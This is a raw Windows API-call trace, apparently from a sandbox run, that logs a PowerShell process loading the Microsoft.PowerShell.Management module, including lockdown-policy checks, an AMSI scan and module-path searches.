(LangId=0x0) returned 0x409 [0114.439] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9a4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x20, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0114.439] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae904*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae904*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0114.439] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae994*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x20, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae994*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x20, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0114.477] GetFileAttributesW (lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0114.477] GetFullPathNameW (in: lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x105, lpBuffer=0x99ae2dc, lpFilePart=0x0 | out: lpBuffer="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0114.477] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae73c) returned 1 [0114.477] GetFileAttributesExW (in: lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x99ae7b8 | out: lpFileInformation=0x99ae7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9edf556, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc9edf556, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc9edf556, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x955)) returned 1 [0114.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99ae738) returned 1 [0114.477] GetFileAttributesW (lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0114.477] GetFullPathNameW (in: lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x105, lpBuffer=0x99ae008, lpFilePart=0x0 | out: lpBuffer="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0114.477] CoTaskMemAlloc (cb=0x20c) returned 0x8e56990 [0114.477] GetSystemDirectoryW (in: lpBuffer=0x8e56990, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0114.478] CoTaskMemFree (pv=0x8e56990) [0114.478] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99adedc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0114.478] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x99adf58, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0114.478] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3b8) returned 1 [0114.478] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x99ae434 | out: lpFileInformation=0x99ae434*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0114.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99ae3b4) returned 1 [0114.478] WldpGetLockdownPolicy () returned 0x0 [0114.478] GetSystemInfo (in: lpSystemInfo=0x99ae460 | out: lpSystemInfo=0x99ae460*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0114.478] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x99ae3ec | out: phkResult=0x99ae3ec*=0x730) returned 0x0 [0114.478] RegQueryValueExW (in: hKey=0x730, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x99ae408, lpData=0x0, lpcbData=0x99ae404*=0x0 | out: lpType=0x99ae408*=0x0, lpData=0x0, lpcbData=0x99ae404*=0x0) returned 0x2 [0114.478] RegCloseKey (hKey=0x730) returned 0x0 [0114.478] GetFullPathNameW (in: lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x105, lpBuffer=0x99ade6c, lpFilePart=0x0 | out: lpBuffer="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0114.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae360) returned 1 [0114.479] CreateFileW (lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x730 [0114.479] GetFileType (hFile=0x730) returned 0x1 [0114.479] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99ae35c) returned 1 [0114.479] GetFileType (hFile=0x730) returned 0x1 [0114.479] SetFilePointer (in: hFile=0x730, lDistanceToMove=0, lpDistanceToMoveHigh=0x99ae3a4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x99ae3a4*=0) returned 0x0 [0114.479] ReadFile (in: hFile=0x730, lpBuffer=0x68c52c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99ae3d0, lpOverlapped=0x0 | out: lpBuffer=0x68c52c8*, lpNumberOfBytesRead=0x99ae3d0*=0x955, lpOverlapped=0x0) returned 1 [0114.527] SetFilePointer (in: hFile=0x730, lDistanceToMove=0, lpDistanceToMoveHigh=0x99ae3a4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x99ae3a4*=0) returned 0x955 [0114.527] ReadFile (in: hFile=0x730, lpBuffer=0x68c47bd, nNumberOfBytesToRead=0x2ab, lpNumberOfBytesRead=0x99ae3d0, lpOverlapped=0x0 | out: lpBuffer=0x68c47bd*, lpNumberOfBytesRead=0x99ae3d0*=0x0, lpOverlapped=0x0) returned 1 [0114.528] SetFilePointer (in: hFile=0x730, lDistanceToMove=0, lpDistanceToMoveHigh=0x99ae3a4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x99ae3a4*=0) returned 0x955 [0114.528] ReadFile (in: hFile=0x730, lpBuffer=0x68c52c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99ae3d0, lpOverlapped=0x0 | out: lpBuffer=0x68c52c8*, lpNumberOfBytesRead=0x99ae3d0*=0x0, lpOverlapped=0x0) returned 1 [0114.528] CoTaskMemAlloc (cb=0x20c) returned 0x8e542c0 [0114.528] GetSystemDirectoryW (in: lpBuffer=0x8e542c0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0114.528] CoTaskMemFree (pv=0x8e542c0) [0114.528] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ade38, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0114.528] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x99adeb4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0114.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae314) returned 1 [0114.528] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x99ae390 | out: lpFileInformation=0x99ae390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0114.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99ae310) returned 1 [0114.528] WldpGetLockdownPolicy () returned 0x0 [0114.528] GetSystemInfo (in: lpSystemInfo=0x99ae3bc | out: lpSystemInfo=0x99ae3bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0114.529] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x99ae348 | out: phkResult=0x99ae348*=0x88c) returned 0x0 [0114.529] RegQueryValueExW (in: hKey=0x88c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x99ae364, lpData=0x0, lpcbData=0x99ae360*=0x0 | out: lpType=0x99ae364*=0x0, lpData=0x0, lpcbData=0x99ae360*=0x0) returned 0x2 [0114.529] RegCloseKey (hKey=0x88c) returned 0x0 [0114.529] CloseHandle (hObject=0x730) returned 1 [0114.529] CoCreateGuid (in: pguid=0x99ae428 | out: pguid=0x99ae428*(Data1=0x2cf24ad3, Data2=0x6ecd, Data3=0x443b, Data4=([0]=0x8e, [1]=0xda, [2]=0x5b, [3]=0xeb, [4]=0xa, [5]=0xa9, [6]=0x5b, [7]=0x36))) returned 0x0 [0114.529] GetFullPathNameW (in: lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x105, lpBuffer=0x99adf08, lpFilePart=0x0 | out: lpBuffer="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0114.530] AmsiOpenSession () returned 0x0 [0114.530] AmsiScanString () returned 0x80070015 [0114.530] GetFullPathNameW (in: lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x105, lpBuffer=0x99adcbc, lpFilePart=0x0 | out: lpBuffer="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0114.532] GetFullPathNameW (in: lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x105, lpBuffer=0x99adf9c, lpFilePart=0x0 | out: lpBuffer="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0114.532] GetFileAttributesW (lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\en-US\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\en-us\\microsoft.powershell.management.psd1")) returned 0xffffffff [0114.532] GetFileAttributesW (lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\en\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\en\\microsoft.powershell.management.psd1")) returned 0xffffffff [0114.536] GetFullPathNameW (in: lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x105, lpBuffer=0x99ad6e0, lpFilePart=0x0 | out: lpBuffer="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0114.537] GetFullPathNameW (in: lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x105, lpBuffer=0x99ad6fc, lpFilePart=0x0 | out: lpBuffer="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0114.537] GetFullPathNameW (in: lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x105, lpBuffer=0x99ad6d0, lpFilePart=0x0 | out: lpBuffer="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0114.537] GetFullPathNameW (in: lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x105, lpBuffer=0x99ad6d4, lpFilePart=0x0 | out: lpBuffer="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0114.543] GetFullPathNameW (in: lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x105, lpBuffer=0x99ad6e0, lpFilePart=0x0 | out: lpBuffer="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0114.543] GetFullPathNameW (in: lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", nBufferLength=0x105, lpBuffer=0x99ad6ec, lpFilePart=0x0 | out: lpBuffer="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", lpFilePart=0x0) returned 0x66 [0114.543] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adb4c) returned 1 [0114.543] GetFileAttributesExW (in: lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x99adbc8 | out: lpFileInformation=0x99adbc8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0114.544] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99adb48) returned 1 [0114.544] GetFileAttributesW (lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0114.544] GetFileAttributesW (lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Commands.Management.dll\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.commands.management.dll\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0114.544] CoTaskMemAlloc (cb=0x20e) returned 0x8e55ca0 [0114.544] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x8e55ca0, nSize=0x105 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules;C:\\Program Files (x86)\\WindowsPowerShell\\Modules;C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x9e [0114.545] CoTaskMemFree (pv=0x8e55ca0) [0114.545] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules", nBufferLength=0x105, lpBuffer=0x99ad594, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x39 [0114.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ad9f0) returned 1 [0114.545] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules"), fInfoLevelId=0x0, lpFileInformation=0x99ada6c | out: lpFileInformation=0x99ada6c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe01511ea, ftCreationTime.dwHighDateTime=0x1d4bf18, ftLastAccessTime.dwLowDateTime=0xe01511ea, ftLastAccessTime.dwHighDateTime=0x1d4bf18, ftLastWriteTime.dwLowDateTime=0xe01511ea, ftLastWriteTime.dwHighDateTime=0x1d4bf18, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0114.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99ad9ec) returned 1 [0114.545] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x105, lpBuffer=0x99ad594, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x30 [0114.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ad9f0) returned 1 [0114.545] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules"), fInfoLevelId=0x0, lpFileInformation=0x99ada6c | out: lpFileInformation=0x99ada6c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x2d00b5ca, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x2d03182d, ftLastAccessTime.dwHighDateTime=0x1d0bb00, ftLastWriteTime.dwLowDateTime=0x2d03182d, ftLastWriteTime.dwHighDateTime=0x1d0bb00, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0114.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99ad9ec) returned 1 [0114.545] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", nBufferLength=0x105, lpBuffer=0x99ad594, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpFilePart=0x0) returned 0x33 [0114.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ad9f0) returned 1 [0114.545] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules"), fInfoLevelId=0x0, lpFileInformation=0x99ada6c | out: lpFileInformation=0x99ada6c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b7dbc2, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b7dbc2, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0114.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99ad9ec) returned 1 [0114.545] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x105, lpBuffer=0x99ad4d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", lpFilePart=0x0) returned 0x62 [0114.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ad934) returned 1 [0114.545] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\microsoft.powershell.commands.management"), fInfoLevelId=0x0, lpFileInformation=0x99ad9b0 | out: lpFileInformation=0x99ad9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0114.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99ad930) returned 1 [0114.546] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\microsoft.powershell.commands.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0114.547] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x105, lpBuffer=0x99ad4d8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", lpFilePart=0x0) returned 0x59 [0114.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ad934) returned 1 [0114.547] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.management"), fInfoLevelId=0x0, lpFileInformation=0x99ad9b0 | out: lpFileInformation=0x99ad9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0114.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99ad930) returned 1 [0114.547] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0114.548] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x105, lpBuffer=0x99ad4d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", lpFilePart=0x0) returned 0x5b [0114.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ad934) returned 1 [0114.548] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.management"), fInfoLevelId=0x0, lpFileInformation=0x99ad9b0 | out: lpFileInformation=0x99ad9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0114.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99ad930) returned 1 [0114.549] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0115.031] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x99ad428, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x9f [0115.031] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x99ad368, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x9f [0115.032] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x99ad1a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x9f 